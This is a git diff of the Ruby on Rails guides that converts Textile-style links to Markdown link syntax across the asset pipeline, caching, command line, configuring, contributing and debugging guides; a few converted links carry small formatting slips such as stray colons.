<ide> Customizing the Pipeline
<ide>
<ide> ### CSS Compression
<ide>
<del>There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification.
<add>There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification.
<ide>
<ide> The following line enables YUI compression, and requires the `yui-compressor` gem.
<ide>
<ide> The `config.assets.compress` must be set to `true` to enable CSS compression.
<ide>
<ide> Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively.
<ide>
<del>The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.
<add>The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.
<ide>
<ide> The following line invokes `uglifier` for JavaScript compression.
<ide>
<ide> config.assets.js_compressor = :uglifier
<ide>
<ide> Note that `config.assets.compress` must be set to `true` to enable JavaScript compression
<ide>
<del>NOTE: You will need an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the "ExecJS":https://github.com/sstephenson/execjs#readme documentation for information on all of the supported JavaScript runtimes.
<add>NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes.
<ide>
<ide> ### Using Your Own Compressor
<ide>
<ide> A good example of this is the `jquery-rails` gem which comes with Rails as the s
<ide> Making Your Library or Gem a Pre-Processor
<ide> ------------------------------------------
<ide>
<del>TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them.
<add>TODO: Registering gems on [Tilt](https://github.com/rtomayko/tilt) enabling Sprockets to find them.
<ide>
<ide> Upgrading from Old Versions of Rails
<ide> ------------------------------------
<ide>
<del>There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See "Asset Organization":#asset-organization above for guidance on the correct locations for different file types.
<add>There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types.
<ide>
<ide> Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically.
<ide>
<ide><path>guides/source/association_basics.md
<ide> class Order < ActiveRecord::Base
<ide> end
<ide> ```
<ide>
<del>You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
<add>You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
<ide>
<ide> * `where`
<ide> * `includes`
<ide> class Supplier < ActiveRecord::Base
<ide> end
<ide> ```
<ide>
<del>You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
<add>You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
<ide>
<ide> * `where`
<ide> * `includes`
<ide> class Customer < ActiveRecord::Base
<ide> end
<ide> ```
<ide>
<del>You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
<add>You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
<ide>
<ide> * `where`
<ide> * `extending`
<ide> class Parts < ActiveRecord::Base
<ide> end
<ide> ```
<ide>
<del>You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
<add>You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
<ide>
<ide> * `where`
<ide> * `extending`
<ide><path>guides/source/caching_with_rails.md
<ide> config.cache_store = :ehcache_store
<ide>
<ide> When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
<ide>
<del>In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the "Ehcache Element class":http://ehcache.org/apidocs/net/sf/ehcache/Element.html , including:
<add>In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including:
<ide>
<ide> |_. Property |_. Argument Type |_. Description |
<ide> | elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
<ide> Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 60
<ide> caches_action :index, :expires_in => 60.seconds, :unless_exist => true
<ide> ```
<ide>
<del>For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ .
<del>For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html
<add>For more information about Ehcache, see [http://ehcache.org/](http://ehcache.org/) .
<add>For more information about Ehcache for JRuby and Rails, see [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html)
<ide>
<ide> ### ActiveSupport::Cache::NullStore
<ide>
<ide> end
<ide> Further reading
<ide> ---------------
<ide>
<del>* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
<add>* [Scaling Rails Screencasts](http://railslab.newrelic.com/scaling-rails)
<ide><path>guides/source/command_line.md
<ide> Rails comes with every command line tool you'll need to
<ide>
<ide> --------------------------------------------------------------------------------
<ide>
<del>NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
<add>NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html).
<ide>
<ide> WARNING. This Guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
<ide>
<ide> Rails will set you up with what seems like a huge amount of stuff for such a tin
<ide>
<ide> The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
<ide>
<del>INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later":#different-servers.
<add>INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#different-servers).
<ide>
<ide> With no further work, `rails server` will run our new shiny Rails app:
<ide>
<ide> $ rails server
<ide> [2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
<ide> ```
<ide>
<del>With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running.
<add>With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
<ide>
<ide> INFO: You can also use the alias "s" to start the server: `rails s`.
<ide>
<ide> $ rails server
<ide> => Booting WEBrick...
<ide> ```
<ide>
<del>The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/greetings/hello.
<add>The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello).
<ide>
<ide> INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
<ide>
<ide> Description:
<ide> Create rails files for model generator.
<ide> ```
<ide>
<del>NOTE: For a list of available field types, refer to the "API documentation":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column for the column method for the `TableDefinition` class.
<add>NOTE: For a list of available field types, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column) for the column method for the `TableDefinition` class.
<ide>
<ide> But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
<ide>
<ide> Let's see the interface Rails created for us.
<ide> $ rails server
<ide> ```
<ide>
<del>Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)
<add>Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
<ide>
<ide> ### `rails console`
<ide>
<ide> You can precompile the assets in `app/assets` using `rake assets:precompile` and
<ide>
<ide> The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database.
<ide>
<del>More information about migrations can be found in the "Migrations":migrations.html guide.
<add>More information about migrations can be found in the [Migrations](migrations.html) guide.
<ide>
<ide> ### `doc`
<ide>
<ide> rspec/model/user_spec.rb:
<ide>
<ide> ### `test`
<ide>
<del>INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
<add>INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
<ide>
<ide> Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
<ide>
<ide> The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory:
<ide>
<ide> If you have (or want to write) any automation scripts outside your app (data import, checks, etc), you can make them as rake tasks. It's easy.
<ide>
<del>INFO: "Complete guide about how to write tasks":http://rake.rubyforge.org/files/doc/rakefile_rdoc.html is available in the official documentation.
<add>INFO: [Complete guide about how to write tasks](http://rake.rubyforge.org/files/doc/rakefile_rdoc.html) is available in the official documentation.
<ide>
<ide> Tasks should be placed in `Rails.root/lib/tasks` and should have a `.rake` extension.
<ide>
<ide> NOTE. The only catch with using the SCM options is that you have to make your ap
<ide>
<ide> Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
<ide>
<del>NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
<add>NOTE: For more details on the Rack integration, see [Rails on Rack](rails_on_rack.html).
<ide>
<ide> To use a different server, just install its gem, then use its name for the first parameter to `rails server`:
<ide>
<ide><path>guides/source/configuring.md
<ide> end
<ide>
<ide> * `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::BufferedLogger`, with auto flushing off in production mode.
<ide>
<del>* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below.
<add>* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
<ide>
<ide> * `config.queue` configures a different queue implementation for the application. Defaults to `ActiveSupport::SynchronousQueue`. Note that, if the default queue is changed, the default `queue_consumer` is not going to be initialized, it is up to the new queue implementation to handle starting and shutting down its own consumer(s).
<ide>
<ide> Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</d
<ide>
<ide> * `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
<ide>
<del>* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
<add>* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information.
<ide>
<ide> * `config.action_view.javascript_expansions` is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
<ide>
<ide> TIP: You don't have to update the database configurations manually. If you look
<ide>
<ide> #### Configuring an SQLite3 Database
<ide>
<del>Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
<add>Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
<ide>
<ide> Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:
<ide>
<ide><path>guides/source/contributing_to_ruby_on_rails.md
<ide> Ruby on Rails is not "someone else's framework." Over the years, hundreds of peo
<ide> Reporting an Issue
<ide> ------------------
<ide>
<del>Ruby on Rails uses "GitHub Issue Tracking":https://github.com/rails/rails/issues to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
<add>Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
<ide>
<ide> NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
<ide>
<ide> ### Creating a Bug Report
<ide>
<del>If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under "Issues":https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can "add a new one":https://github.com/rails/rails/issues/new. (See the next section for reporting security issues.)
<add>If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues).
<ide>
<ide> At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself -- and others -- to replicate the bug and figure out a fix.
<ide>
<ide> Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
<ide>
<ide> ### Special Treatment for Security Issues
<ide>
<del>WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The "Rails security policy page":http://rubyonrails.org/security details the procedure to follow for security issues.
<add>WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
<ide>
<ide> ### What about Feature Requests?
<ide>
<ide> Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
<ide>
<del>If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the "rails-core mailing list":https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
<add>If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
<ide>
<ide> Setting Up a Development Environment
<ide> ------------------------------------
<ide> To move on from submitting bugs to helping resolve existing issues or contributi
<ide>
<ide> ### The Easy Way
<ide>
<del>The easiest way to get a development environment ready to hack is to use the "Rails development box":https://github.com/rails/rails-dev-box.
<add>The easiest way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
<ide>
<ide> ### The Hard Way
<ide>
<ide> #### Install Git
<ide>
<del>Ruby on Rails uses Git for source code control. The "Git homepage":http://git-scm.com/ has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
<add>Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
<ide>
<del>* "Everyday Git":http://schacon.github.com/git/everyday.html will teach you just enough about Git to get by.
<del>* The "PeepCode screencast":https://peepcode.com/products/git on Git ($9) is easier to follow.
<del>* "GitHub":http://help.github.com offers links to a variety of Git resources.
<del>* "Pro Git":http://git-scm.com/book is an entire book about Git with a Creative Commons license.
<add>* [Everyday Git](http://schacon.github.com/git/everyday.html) will teach you just enough about Git to get by.
<add>* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow.
<add>* [GitHub](http://help.github.com) offers links to a variety of Git resources.
<add>* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
<ide>
<ide> #### Clone the Ruby on Rails Repository
<ide>
<ide> If you are on Fedora or CentOS, you can run
<ide> $ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
<ide> ```
<ide>
<del>If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the "Red Hat/CentOS section of the Nokogiri tutorials":http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos .
<add>If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
<ide>
<ide> Also, SQLite3 and its development files for the `sqlite3-ruby` gem -- in Ubuntu you're done with just
<ide>
<ide> And if you are on Fedora or CentOS, you're done with
<ide> $ sudo yum install sqlite3 sqlite3-devel
<ide> ```
<ide>
<del>Get a recent version of "Bundler":http://gembundler.com/:
<add>Get a recent version of [Bundler](http://gembundler.com/:)
<ide>
<ide> ```bash
<ide> $ gem install bundler
<ide> $ git branch --track 3-0-stable origin/3-0-stable
<ide> $ git checkout 3-0-stable
<ide> ```
<ide>
<del>TIP: You may want to "put your Git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
<add>TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
<ide>
<ide> Helping to Resolve Existing Issues
<ide> ----------------------------------
<ide>
<del>As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
<add>As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [Everyone's Issues](https://github.com/rails/rails/issues) list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
<ide>
<ide> ### Verifying Bug Reports
<ide>
<ide> Contributing to the Rails Documentation
<ide>
<ide> Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
<ide>
<del>You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides.
<add>You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides).
<ide>
<del>If you're confident about your changes, you can push them directly yourself via "docrails":https://github.com/lifo/docrails. Docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
<add>If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
<ide>
<del>If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub.
<add>If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
<ide>
<del>When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html.
<add>When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
<ide>
<ide> NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
<ide>
<ide> Your name can be added directly after the last word if you don't provide any cod
<ide>
<ide> You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
<ide>
<del>You might want also to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches.
<add>You might want also to check out the [RailsBridge BugMash](http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash) as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches.
<ide>
<ide> ### Commit Your Changes
<ide>
<ide> No conflicts? Tests still pass? Change still seems reasonable to you? Then move
<ide>
<ide> ### Fork
<ide>
<del>Navigate to the Rails "GitHub repository":https://github.com/rails/rails and press "Fork" in the upper right hand corner.
<add>Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner.
<ide>
<ide> Add the new remote to your local repository on your local machine:
<ide>
<ide> Fill in some details about your potential patch including a meaningful title. Wh
<ide>
<ide> ### Get some Feedback
<ide>
<del>Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the "rubyonrails-core mailing list":http://groups.google.com/group/rubyonrails-core/ or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
<add>Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
<ide>
<ide> ### Iterate as Necessary
<ide>
<ide> It’s entirely possible that the feedback you get will suggest changes. Don’t
<ide>
<ide> Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
<ide>
<del>For simple fixes, the easiest way to backport your changes is to "extract a diff from your changes in master and apply them to the target branch":http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git.
<add>For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git).
<ide>
<ide> First make sure your changes are the only difference between your current branch and master:
<ide>
<ide> And then... think about your next contribution!
<ide> Rails Contributors
<ide> ------------------
<ide>
<del>All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org.
<add>All contributions, either via master or docrails, get credit in [Rails Contributors](http://contributors.rubyonrails.org).
<ide><path>guides/source/debugging_rails_applications.md
<ide> In this section, you will learn how to find and fix such leaks by using tools su
<ide>
<ide> ### BleakHouse
<ide>
<del>"BleakHouse":https://github.com/evan/bleak_house/ is a library for finding memory leaks.
<add>[BleakHouse](https://github.com/evan/bleak_house/) is a library for finding memory leaks.
<ide>
<ide> If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
<ide>
<ide> To analyze it, just run the listed command. The top 20 leakiest lines will be li
<ide>
<ide> This way you can find where your application is leaking memory and fix it.
<ide>
<del>If "BleakHouse":https://github.com/evan/bleak_house/ doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
<add>If [BleakHouse](https://github.com/evan/bleak_house/) doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
<ide>
<ide> ### Valgrind
<ide>
<del>"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
<add>[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
<ide>
<ide> There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
<ide>
<del>For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
<add>For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
<ide>
<ide> Plugins for Debugging
<ide> ---------------------
<ide>
<ide> There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
<ide>
<del>* "Footnotes":https://github.com/josevalim/rails-footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate.
<del>* "Query Trace":https://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
<del>* "Query Stats":https://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
<del>* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
<del>* "Exception Notifier":https://github.com/smartinez87/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
<del>* "Exception Logger":https://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
<add>* [Footnotes](https://github.com/josevalim/rails-footnotes:) Every Rails page has footnotes that give request information and link back to your source via TextMate.
<add>* [Query Trace](https://github.com/ntalbott/query_trace/tree/master:) Adds query origin tracing to your logs.
<add>* [Query Stats](https://github.com/dan-manges/query_stats/tree/master:) A Rails plugin to track database queries.
<add>* [Query Reviewer](http://code.google.com/p/query-reviewer/:) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
<add>* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master:) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
<add>* [Exception Logger](https://github.com/defunkt/exception_logger/tree/master:) Logs your Rails exceptions in the database and provides a funky web interface to manage them.
<ide>
<ide> References
<ide> ----------
<ide>
<del>* "ruby-debug Homepage":http://bashdb.sourceforge.net/ruby-debug/home-page.html
<del>* "debugger Homepage":http://github.com/cldwalker/debugger
<del>* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
<del>* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
<del>* "Ryan Bates' debugging ruby (revised) screencast":http://railscasts.com/episodes/54-debugging-ruby-revised
<del>* "Ryan Bates' stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
<del>* "Ryan Bates' logger screencast":http://railscasts.com/episodes/56-the-logger
<del>* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
<del>* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
<del>* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
<del>* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/
<add>* [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html)
<add>* [debugger Homepage](http://github.com/cldwalker/debugger)
<add>* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/article/debug-rails-app-ruby-debug/)
<add>* [ruby-debug Basics screencast](http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/)
<add>* [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised)
<add>* [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace)
<add>* [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger)
<add>* [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html)
<add>* [ruby-debug cheat sheet](http://cheat.errtheblog.com/s/rdebug/)
<add>* [Ruby on Rails Wiki: How to Configure Logging](http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging)
<add>* [Bleak House Documentation](http://blog.evanweaver.com/files/doc/fauna/bleak_house/)
<ide><path>guides/source/engines.md
<ide> Engines can also be isolated from their host applications. This means that an ap
<ide>
<ide> It's important to keep in mind at all times that the application should *always* take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
